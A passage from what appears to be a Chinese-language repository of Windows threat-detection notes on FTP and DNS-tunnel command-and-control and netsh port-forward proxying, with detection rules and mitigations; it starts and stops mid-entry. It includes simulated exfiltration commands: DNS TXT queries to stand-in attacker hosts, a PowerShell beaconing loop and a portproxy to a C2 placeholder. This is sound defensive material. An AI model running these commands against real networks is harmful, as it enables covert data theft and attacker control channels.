UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\cmd.exe\n  TargetFilename: C:\\Temp\\ftp.txt\n  User: CONTOSO\\User\n  ```\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: CONTOSO\\User\n    Account Name: User\n    Account Domain: CONTOSO\n    Logon ID: 0x123456\n  Process Information:\n    New Process ID: 0x1f38\n    New Process Name: C:\\Windows\\System32\\ftp.exe\n    Token Elevation Type: TokenElevationTypeLimited (3)\n    Mandatory Label: Mandatory Label\\Medium Mandatory Level\n    Creator Process ID: 0x1e2c\n    Creator Process Name: C:\\Windows\\System32\\cmd.exe\n    Process Command Line: ftp -s:ftp.txt\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控内网到公网的FTP流量、可疑进程及明文凭据，检测异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Netflow，检测内网IP（10.0.0.0/8、172.16.0.0/12、192.168.0.0/16）到公网的FTP流量（端口20/21）。  \n   - 监控Sysmon事件ID 3，检测`ftp.exe`或第三方FTP客户端（如FileZilla）的网络连接。  \n   - 监控Sysmon事件ID 1，检测`ftp.exe`的命令行参数（如`-s:`）。  \n   - 监控Sysmon事件ID 11，检测FTP脚本文件创建。  \n   - 监控Windows安全日志事件ID 4688，检测FTP客户端进程创建。  \n   - 使用Wireshark捕获FTP明文流量，检查用户名、密码及文件内容。  \n\n2. **Sigma规则（内网FTP到公网）**：\n   ```yaml\n   title: 内网FTP链接到公网行为检测\n   id: x12345678-abcd-9012-3456-78901234ijkl\n   status: stable\n   description: 检测内网主机通过FTP连接公网的行为\n   references:\n     - https://attack.mitre.org/techniques/T1071/002/\n     - https://www.elastic.co/guide/en/siem/guide/current/ftp-file-transfer-protocol-activity-to-the-internet.html\n   tags:\n     - attack.command_and_control\n     - attack.t1071.002\n   logsource:\n     product: network\n   detection:\n     selection1:\n       network.transport: tcp\n       destination.port:\n         - 20\n         - 21\n     selection2:\n       source.ip:\n         - 10.0.0.0/8\n         - 172.16.0.0/12\n         - 192.168.0.0/16\n     selection3:\n       destination.ip:\n         - 10.0.0.0/8\n         - 172.16.0.0/12\n         - 192.168.0.0/16\n     condition: (selection1 and selection2) and not selection3\n   fields:\n     - source.ip\n     - destination.ip\n     - destination.port\n   falsepositives:\n     - 合法FTP传输\n     - 管理员测试\n   level: medium\n   ```\n\n3. **Sigma规则（FTP客户端进程）**：\n   ```yaml\n   title: FTP客户端进程执行检测\n   id: y23456789-abcd-0123-4567-89012345klmn\n   status: experimental\n   description: 检测FTP客户端（如ftp.exe）执行，可能用于C2或数据渗出\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\ftp.exe'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法文件传输\n     - 管理员操作\n   level: medium\n   ```\n\n4. **Elastic Rule Query**：\n   ```kql\n   network.transport: tcp and destination.port: (20 or 21) and (\n     network.direction: outbound or (\n       source.ip: (10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) and\n       not destination.ip: (10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16)\n     )\n   )\n   ```\n\n5. **SIEM规则**：\n   - 检测FTP到公网行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventID=3 destination_port IN (20,21) source_ip IN (\"10.0.0.0/8\",\"172.16.0.0/12\",\"192.168.0.0/16\") NOT destination_ip IN (\"10.0.0.0/8\",\"172.16.0.0/12\",\"192.168.0.0/16\")) OR (EventID=1 Image=\"*ftp.exe\") | stats count by Image, CommandLine, source_ip, destination_ip, destination_port, User\n     ```\n\n6. **网络流量分析**：\n   - 检查FTP流量：\n     ```bash\n     tshark -f \"tcp port 20 or 21\" -Y \"ftp\"\n     ```\n   - 检查明文凭据：\n     ```bash\n     tshark -f \"tcp port 21\" -Y \"ftp.request.command in {USER PASS}\"\n     ```\n   - 使用IDS规则检测FTP流量：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 20,21 (msg:\"Suspicious FTP Outbound\"; content:\"USER\"; sid:1000005;)\n     ```\n\n7. **工具支持**：\n   - 使用Wireshark捕获FTP明文流量，分析用户名、密码及文件。  \n   - 使用Sysinternals Process Monitor捕获`ftp.exe`活动。  \n   - 使用Zeek生成FTP日志，分析会话模式。  \n\n8. **威胁情报整合**：\n   - 检查目标IP/域名是否与已知恶意FTP服务器匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御FTP C2或数据渗出需从协议限制、流量监控和凭据保护入手：\n\n1. **限制FTP使用**  \n   - 配置防火墙阻止出站FTP流量：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block FTP Outbound\" -Direction Outbound -Action Block -Protocol TCP -RemotePort 20,21\n     ```\n   - 禁用`ftp.exe`：\n     ```powershell\n     icacls \"%SystemRoot%\\System32\\ftp.exe\" /deny \"Everyone:(X)\"\n     ```\n\n2. **强制使用FTPS**  \n   - 配置FTP服务器要求SSL/TLS加密，防止明文传输：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\FTP\\Server\" -Name RequireSsl -Value 1\n     ```\n\n3. **监控FTP活动**  \n   - 部署IDS/IPS检测FTP明文流量或异常会话。  \n   - 配置Sysmon监控`ftp.exe`：\n     ```xml\n     <RuleGroup name=\"ProcessCreate\" groupRelation=\"and\">\n       <ProcessCreate onmatch=\"include\">\n         <Image condition=\"end with\">ftp.exe</Image>\n       </ProcessCreate>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3、11和Windows事件ID 4688，检测FTP行为。  \n   - 配置SIEM实时告警内网到公网的FTP流量。  \n   - 使用EDR工具检测异常文件传输。  \n\n5. **定期审计**  \n   - 检查FTP客户端使用：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"ftp.exe\" }\n     ```\n   - 检查网络流量：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \":21\" }\n     ```\n\n6. **补丁管理**  \n   - 确保系统和FTP客户端安装最新补丁，修复协议漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1071.002  \n  <https://attack.mitre.org/techniques/T1071/002/>  \n- Elastic: FTP Activity Detection  \n  <https://www.elastic.co/guide/en/siem/guide/current/ftp-file-transfer-protocol-activity-to-the-internet.html>"
  },
  {
    "path": "Windows/12命令与控制/T1071.004-win-内网主机向公网DNS发起可疑请求行为.md",
    "content": "# T1071.004-Win-内网主机向公网DNS发起可疑请求行为\n\n## 描述\n\n攻击者利用域名系统（DNS）应用层协议进行命令与控制（C2）通信或数据渗出，通过DNS隧道技术将指令或数据嵌入DNS查询/响应，伪装成正常流量以规避检测（T1071.004）。DNS协议因其在网络中管理域名解析的普遍性，常被允许通过防火墙，甚至在身份验证前即可通信。攻击者可利用DNS数据包的字段（如TXT记录）隐藏数据，与受控系统通信。DNS隧道的典型特征包括高频查询、异常域名或编码数据。\n\n内网主机直接向公网DNS服务器（而非企业指定的DNS服务器）发起请求是非典型行为，可能指示恶意软件、C2通信、数据渗出或配置错误。检测重点在于识别内网到公网的DNS流量（端口53）、异常查询模式及相关进程行为。\n\n## 测试案例\n\n1. **DNS隧道模拟**  \n   使用工具（如`dnscat2`）或手动`nslookup`通过TXT记录向公网DNS服务器发送编码数据。  \n2. **异常DNS查询**  \n   使用PowerShell或`nslookup`发起高频DNS查询，模拟C2心跳或数据渗出。  \n3. **公网DNS服务器访问**  \n   配置主机使用公网DNS（如8.8.8.8），绕过企业DNS服务器。  \n\n### 示例命令\n- **DNS查询模拟**（需用户权限）：\n  ```cmd\n  nslookup -type=TXT exfil.abcdef123.attacker.com 8.8.8.8\n  ```\n- **高频DNS查询**（PowerShell）：\n  ```powershell\n  while ($true) {\n      Resolve-DnsName -Name \"test$((Get-Random)).attacker.com\" -Type TXT -Server 8.8.8.8\n      Start-Sleep -Milliseconds 500\n  }\n  ```\n- **清理**：\n  ```powershell\n  Stop-Process -Name powershell -Force\n  ```\n\n## 检测日志\n\n**Netstream日志**  \n- 记录UDP/TCP 53端口流量，捕获源/目标IP、查询名称、查询类型（如TXT）、响应时间。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录DNS查询相关进程（如`nslookup.exe`、`powershell.exe`）创建及命令行参数。  \n- **事件ID 3**：记录网络连接，捕获DNS流量（目标IP:53）。  \n- **事件ID 15**：记录DNS查询事件（需启用Sysmon DNS监控）。  \n\n**Windows安全日志**  \n- **事件ID 4688**：记录DNS客户端进程（如`nslookup.exe`）创建。  \n\n**PowerShell日志**  \n- **事件ID 4104**：记录PowerShell脚本执行（如`Resolve-DnsName`）。  \n\n**DNS服务器日志**  \n- 捕获异常查询（如高频子域名、TXT记录）。  \n\n**配置日志记录**  \n- 启用命令行记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用PowerShell日志：`计算机配置 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 配置Sysmon启用DNS查询监控：\n  ```xml\n  <RuleGroup name=\"DnsQuery\" groupRelation=\"and\">\n    <DnsQuery onmatch=\"include\" />\n  </RuleGroup>\n  ```\n- 配置IDS/IPS或代理服务器记录DNS流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2022。  \n- **权限**：用户权限（DNS查询无需管理员）。  \n- **工具**：`nslookup.exe`、`powershell.exe`（系统自带）、Sysmon、Wireshark、公网DNS服务器（如8.8.8.8）。  \n- **网络**：可控网络环境，允许出站53端口。  \n- **日志**：启用Sysmon、Windows安全日志、PowerShell日志，配置DNS和流量监控。  \n\n### 攻击步骤\n1. **执行DNS查询**  \n   - 模拟单次TXT查询：\n     ```cmd\n     nslookup -type=TXT test.attacker.example.com 8.8.8.8\n     ```\n\n2. **模拟高频DNS隧道**  \n   - 执行PowerShell脚本：\n     ```powershell\n     while ($true) {\n         Resolve-DnsName -Name \"test$((Get-Random)).attacker.example.com\" -Type TXT -Server 8.8.8.8\n         Start-Sleep -Milliseconds 1000\n     }\n     ```\n\n3. **验证结果**  \n   - 检查Sysmon日志（DNS查询）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 15 -and $_.Message -match \"attacker.example.com\" }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \":53\" }\n     ```\n   - 检查PowerShell日志：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-PowerShell/Operational\" | Where-Object { $_.Id -eq 4104 -and $_.Message -match \"Resolve-DnsName\" }\n     ```\n   - 检查Netflow（Wireshark过滤`udp.port == 53`）。  \n\n4. **清理**  \n   - 终止脚本：\n     ```powershell\n     Stop-Process -Name powershell -Force\n     ```\n   - 恢复DNS配置（若修改）：\n     ```powershell\n     Set-DnsClientServerAddress -InterfaceIndex (Get-NetAdapter).InterfaceIndex -ResetServerAddresses\n     ```\n\n### 示例输出\n```cmd\nnslookup -type=TXT test.attacker.example.com 8.8.8.8\nServer:  google-public-dns-a.google.com\nAddress:  8.8.8.8\ntest.attacker.example.com  text = \"exfil-data-123\"\n```\n\n```powershell\nResolve-DnsName -Name test123.attacker.example.com -Type TXT -Server 8.8.8.8\nName                           Type   TTL   Section    Strings\n----                           ----   ---   -------    -------\ntest123.attacker.example.com   TXT    300   Text       exfil-data-123\n```\n\n**注意**：测试需在合法授权环境进行，替换`attacker.example.com`为测试域名。\n\n## 日志解析\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:10:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 9012\n  Image: C:\\Windows\\System32\\nslookup.exe\n  CommandLine: nslookup -type=TXT test.attacker.example.com 8.8.8.8\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:10:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\nslookup.exe\n  DestinationIp: 8.8.8.8\n  DestinationPort: 53\n  Protocol: udp\n  User: CONTOSO\\User\n  ```\n\n- **Sysmon日志（事件ID 15，DNS查询）**：\n  ```plaintext\n  EventID: 15\n  UtcTime: 2025-06-10 03:10:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\nslookup.exe\n  QueryName: test.attacker.example.com\n  QueryType: TXT\n  QueryResults: exfil-data-123\n  User: CONTOSO\\User\n  ```\n\n- **PowerShell日志（事件ID 4104，脚本执行）**：\n  ```plaintext\n  EventID: 4104\n  Source: Microsoft-Windows-PowerShell\n  Message: Creating Scriptblock text (1 of 1):\n  Resolve-DnsName -Name \"test123.attacker.example.com\" -Type TXT -Server 8.8.8.8\n  ScriptBlock ID: {abcdef12-3456-7890-abcd-ef1234567890}\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控内网到公网的DNS流量、异常查询模式及相关进程，检测DNS隧道或可疑行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Netflow，检测内网IP（10.0.0.0/8、172.16.0.0/12、192.168.0.0/16）到公网DNS服务器（非内网IP）的53端口流量。  \n   - 监控Sysmon事件ID 15，检测异常DNS查询（如TXT记录、高频子域名）。  \n   - 监控Sysmon事件ID 3，检测`nslookup.exe`或`powershell.exe`的DNS连接。  \n   - 监控Sysmon事件ID 1，检测DNS客户端进程的命令行参数。  \n   - 监控PowerShell日志事件ID 4104，检测`Resolve-DnsName`或类似命令。  \n   - 使用Wireshark分析DNS流量，检查高频查询或异常TXT记录。  \n\n2. **Sigma规则（内网到公网DNS）**：\n   ```yaml\n   title: 内网主机向公网DNS发起可疑请求检测\n   id: z34567890-abcd-1234-5678-90123456mnop\n   status: stable\n   description: 检测内网主机直接向公网DNS服务器发起请求\n   references:\n     - https://attack.mitre.org/techniques/T1071/004/\n     - https://www.elastic.co/guide/en/siem/guide/current/dns-activity-to-the-internet.html\n   tags:\n     - attack.command_and_control\n     - attack.t1071.004\n   logsource:\n     product: network\n   detection:\n     selection1:\n       destination.port: 53\n     selection2:\n       source.ip:\n         - 10.0.0.0/8\n         - 172.16.0.0/12\n         - 192.168.0.0/16\n     selection3:\n       destination.ip:\n         - 10.0.0.0/8\n         - 127.0.0.0/8\n         - 169.254.169.254/32\n         - 172.16.0.0/12\n         - 192.168.0.0/16\n         - 224.0.0.251\n         - 224.0.0.252\n         - ::1\n         - 255.255.255.255\n         - ff02::fb\n     condition: selection1 and selection2 and not selection3\n   fields:\n     - source.ip\n     - destination.ip\n     - destination.port\n   falsepositives:\n     - 合法公网DNS查询\n     - 用户手动配置DNS\n     - VPN或浏览器插件\n   level: medium\n   ```\n\n3. **Sigma规则（异常DNS查询）**：\n   ```yaml\n   title: 异常DNS查询检测\n   id: a45678901-abcd-2345-6789-01234567qrst\n   status: experimental\n   description: 检测疑似DNS隧道的异常查询行为\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 15\n       QueryType: TXT\n     condition: selection\n   fields:\n     - Image\n     - QueryName\n     - QueryType\n     - User\n   falsepositives:\n     - 合法TXT记录查询\n     - 网络诊断工具\n   level: high\n   ```\n\n4. **Elastic Rule Query**：\n   ```kql\n   destination.port:53 and source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) and\n   not destination.ip:(10.0.0.0/8 or 127.0.0.0/8 or 169.254.169.254/32 or 172.16.0.0/12 or\n   192.168.0.0/16 or 224.0.0.251 or 224.0.0.252 or 255.255.255.255 or \"::1\" or \"ff02::fb\")\n   ```\n\n5. **SIEM规则**：\n   - 检测内网到公网DNS行为。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventID IN (3,15) destination_port=53\n     source_ip IN (\"10.0.0.0/8\",\"172.16.0.0/12\",\"192.168.0.0/16\")\n     NOT destination_ip IN (\"10.0.0.0/8\",\"127.0.0.0/8\",\"169.254.169.254\",\"172.16.0.0/12\",\"192.168.0.0/16\",\"224.0.0.251\",\"224.0.0.252\",\"255.255.255.255\",\"::1\",\"ff02::fb\")\n     | stats count by Image, QueryName, source_ip, destination_ip, destination_port, User\n     ```\n\n6. **网络流量分析**：\n   - 检查DNS查询：\n     ```bash\n     tshark -f \"udp port 53\" -Y \"dns.qry.type == TXT\"\n     ```\n   - 检查高频查询：\n     ```bash\n     tshark -f \"udp port 53\" -z \"io,stat,60,dns.qry.name\"\n     ```\n   - 使用IDS规则检测DNS隧道：\n     ```snort\n     alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:\"Suspicious DNS TXT Query\"; content:\"TXT\"; sid:1000006;)\n     ```\n\n7. **工具支持**：\n   - 使用Wireshark分析DNS流量，检查TXT记录或子域名模式。  \n   - 使用Sysinternals Process Monitor捕获DNS客户端进程活动。  \n   - 使用Zeek生成DNS日志，分析查询频率和类型。  \n\n8. **威胁情报整合**：\n   - 检查目标DNS服务器IP或查询域名是否与已知C2匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御DNS隧道及可疑DNS请求需从DNS控制、流量监控和进程限制入手：\n\n1. **强制使用企业DNS**  \n   - 配置DHCP强制使用内部DNS服务器：\n     ```powershell\n     Set-DnsClientServerAddress -InterfaceIndex (Get-NetAdapter).InterfaceIndex -ServerAddresses (\"192.168.1.1\")\n     ```\n   - 阻止公网DNS流量：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block Public DNS\" -Direction Outbound -Action Block -Protocol UDP -RemotePort 53 -RemoteAddress 8.8.8.8,8.8.4.4\n     ```\n\n2. **限制DNS客户端**  \n   - 使用AppLocker限制`nslookup.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"%SystemRoot%\\System32\\nslookup.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **监控DNS流量**  \n   - 部署DNS日志记录，分析查询类型和频率：\n     ```powershell\n     Get-DnsServerStatistics\n     ```\n   - 配置Sysmon监控DNS查询：\n     ```xml\n     <RuleGroup name=\"DnsQuery\" groupRelation=\"and\">\n       <DnsQuery onmatch=\"include\">\n         <QueryType condition=\"is\">TXT</QueryType>\n       </DnsQuery>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 15、3、1和PowerShell事件ID 4104，检测DNS行为。  \n   - 配置SIEM实时告警内网到公网DNS流量或TXT查询。  \n   - 使用EDR工具检测异常DNS客户端行为。  \n\n5. **定期审计**  \n   - 检查DNS查询：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 15 }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \":53\" }\n     ```\n\n6. **补丁管理**  \n   - 确保系统和DNS客户端安装最新补丁，修复协议漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1071.004  \n  <https://attack.mitre.org/techniques/T1071/004/>  \n- Elastic: DNS Activity Detection  \n  <https://www.elastic.co/guide/en/siem/guide/current/dns-activity-to-the-internet.html>  \n"
  },
  {
    "path": "Windows/12命令与控制/T1090.001-Win-链接代理.md",
    "content": "# T1090.001-Win-链接代理\n\n## 描述\n\n攻击者利用连接代理（T1090.001）在系统间重定向网络流量或作为与命令与控制（C2）服务器通信的中介，以隐藏真实通信目标并规避检测。代理可用于管理C2通信、减少出站连接数量、增强连接弹性，或利用受信任路径（如内网通信）避免怀疑。常见工具包括`HTRAN`、`ZXProxy`、`ZXPortMap`，以及Windows内置工具如`netsh`。\n\n- **外部连接代理**：攻击者使用外部受损系统、云资源或VPS作为代理，将受害者流量重定向至C2服务器，掩盖C2真实IP。受害者系统直接与公网代理通信，降低追踪可能性。\n- **内部连接代理**：攻击者在内网使用受损系统作为代理，合并内部流量并转发至外部C2，隐藏恶意流量来源。也可用于内网中继，减少广播流量。\n\n检测重点在于监控异常端口转发行为、代理工具执行及非典型网络流量（如内网主机与公网代理的频繁连接）。\n\n## 测试案例\n\n1. **Netsh端口转发**  \n   使用`netsh interface portproxy`配置端口转发，模拟内网主机通过代理与公网C2通信。  \n2. **第三方代理工具**  \n   使用`HTRAN`或类似工具重定向流量至外部C2服务器。  \n3. **内网流量中继**  \n   配置内网主机作为代理，将其他主机的流量转发至外部服务器。  \n\n### 示例命令\n- **Netsh端口转发**（需管理员权限）：\n  ```cmd\n  netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=c2.example.com\n  ```\n- **验证转发**：\n  ```cmd\n  netsh interface portproxy show all\n  ```\n- **清理**：\n  ```cmd\n  netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`netsh.exe`或其他代理工具的进程创建及命令行参数。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，捕获`netsh.exe`或代理工具的命令行。  \n- **事件ID 3**：记录网络连接，捕获代理转发的流量（源/目标IP、端口）。  \n- **事件ID 7**：记录加载的模块，检测代理工具的DLL。  \n\n**网络日志**  \n- 捕获异常流量（如内网主机通过非标准端口与公网通信）。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用Sysmon配置：监控`netsh.exe`及网络连接。  \n- 配置防火墙或IDS/IPS记录非预期出站流量（如8080端口）。  \n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2022。  \n- **权限**：管理员权限（`netsh`端口转发需提升权限）。  \n- **工具**：`netsh.exe`（系统自带）、Sysmon、Wireshark、测试C2服务器（如`c2.example.com`）。  \n- **网络**：可控网络环境，允许出站流量。  \n- **日志**：启用Windows安全日志、Sysmon日志，配置网络监控。  \n\n### 攻击步骤\n1. **配置端口转发**  \n   - 执行`netsh`命令：\n     ```cmd\n     netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1\n     ```\n\n2. **验证转发**  \n   - 检查配置：\n     ```cmd\n     netsh interface portproxy show all\n     ```\n   - 测试连接（使用`curl`或浏览器访问`http://<target>:8080`）。\n\n3. **验证结果**  \n   - 检查Windows安全日志：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"netsh.exe\" }\n     ```\n   - 检查Sysmon日志（进程创建）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"netsh.exe\" }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \":8080\" }\n     ```\n   - 检查Netflow（Wireshark过滤`tcp.port == 8080`）。\n\n4. **清理**  \n   - 删除端口转发：\n     ```cmd\n     netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0\n     ```\n\n### 示例输出\n```cmd\nnetsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1\nOk.\n\nnetsh interface portproxy show all\nListen on IPv4:             Connect to IPv4:\nAddress         Port        Address         Port\n--------------- ----------  --------------- ----------\n0.0.0.0         8080        127.0.0.1       80\n```\n\n**注意**：测试需在合法授权环境进行，替换`c2.example.com`为测试服务器。\n\n## 日志解析\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: CONTOSO\\Administrator\n    Account Name: Administrator\n    Account Domain: CONTOSO\n    Logon ID: 0x123456\n  Process Information:\n    New Process ID: 0x2a1c\n    New Process Name: C:\\Windows\\System32\\netsh.exe\n    Token Elevation Type: TokenElevationTypeFull (2)\n    Mandatory Label: Mandatory Label\\High Mandatory Level\n    Creator Process ID: 0x1f38\n    Creator Process Name: C:\\Windows\\System32\\cmd.exe\n    Process Command Line: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:10:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 10764\n  Image: C:\\Windows\\System32\\netsh.exe\n  CommandLine: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\Administrator\n  IntegrityLevel: High\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:10:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\netsh.exe\n  DestinationIp: 127.0.0.1\n  DestinationPort: 80\n  Protocol: tcp\n  User: CONTOSO\\Administrator\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控`netsh`端口转发行为、代理工具执行及异常网络流量，检测连接代理活动。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Windows安全日志事件ID 4688，检测`netsh.exe`执行及命令行参数（如`portproxy`）。  \n   - 监控Sysmon事件ID 1，检测`netsh.exe`或其他代理工具（如`HTRAN`）的进程创建。  \n   - 监控Sysmon事件ID 3，检测异常端口（如8080）的网络连接。  \n   - 监控Netflow，检测内网主机通过非标准端口与公网通信。  \n   - 检查注册表端口转发配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\PortProxy\\v4tov4\\tcp\"\n     ```\n\n2. **Sigma规则（Netsh端口转发）**：\n   ```yaml\n   title: Netsh端口转发检测\n   id: b56789012-abcd-3456-7890-12345678stuv\n   status: stable\n   description: 检测使用netsh配置端口转发的行为\n   references:\n     - https://attack.mitre.org/techniques/T1090/001/\n     - https://www.freebuf.com/articles/system/176889.html\n   tags:\n     - attack.command_and_control\n     - attack.t1090.001\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection:\n       EventID: 4688\n       NewProcessName|endswith: '\\netsh.exe'\n       CreatorProcessName|endswith: '\\cmd.exe'\n       ProcessCommandLine|contains: 'interface portproxy add v4tov4'\n     condition: selection\n   fields:\n     - ProcessCommandLine\n     - CreatorProcessName\n     - User\n   falsepositives:\n     - 管理员网络配置\n     - 合法端口转发\n   level: medium\n   ```\n\n3. **Sigma规则（代理工具网络连接）**：\n   ```yaml\n   title: 代理工具网络连接检测\n   id: c67890123-abcd-4567-8901-23456789vwxy\n   status: experimental\n   description: 检测netsh或其他代理工具的异常网络连接\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Image|endswith: '\\netsh.exe'\n       DestinationPort:\n         - 8080\n         - 3128\n         - 9050\n     condition: selection\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n     - User\n   falsepositives:\n     - 合法代理服务\n     - 网络测试工具\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测端口转发及代理行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Security\" EventCode=4688 Image=\"*netsh.exe\" CommandLine=\"*portproxy add v4tov4*\") OR\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventID=3 Image=\"*netsh.exe\" destination_port IN (8080,3128,9050))\n     | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName\n     ```\n\n5. **网络流量分析**：\n   - 检查非标准端口流量：\n     ```bash\n     tshark -f \"tcp port 8080\" -Y \"tcp\"\n     ```\n   - 使用IDS规则检测代理流量：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 8080,3128,9050 (msg:\"Suspicious Proxy Traffic\"; sid:1000007;)\n     ```\n\n6. **工具支持**：\n   - 使用Wireshark分析代理流量，检查目标IP和端口。  \n   - 使用Sysinternals Process Monitor捕获`netsh.exe`活动。  \n   - 使用Zeek生成网络日志，分析流量模式。  \n\n7. **威胁情报整合**：\n   - 检查目标IP/域名是否与已知C2或代理服务器匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御连接代理需从工具限制、网络分段和流量监控入手：\n\n1. **限制Netsh执行**  \n   - 使用AppLocker限制`netsh.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"%SystemRoot%\\System32\\netsh.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n2. **限制非标准端口**  \n   - 配置防火墙阻止非必要出站端口：\n     ```powershell\n     New-NetFirewallRule 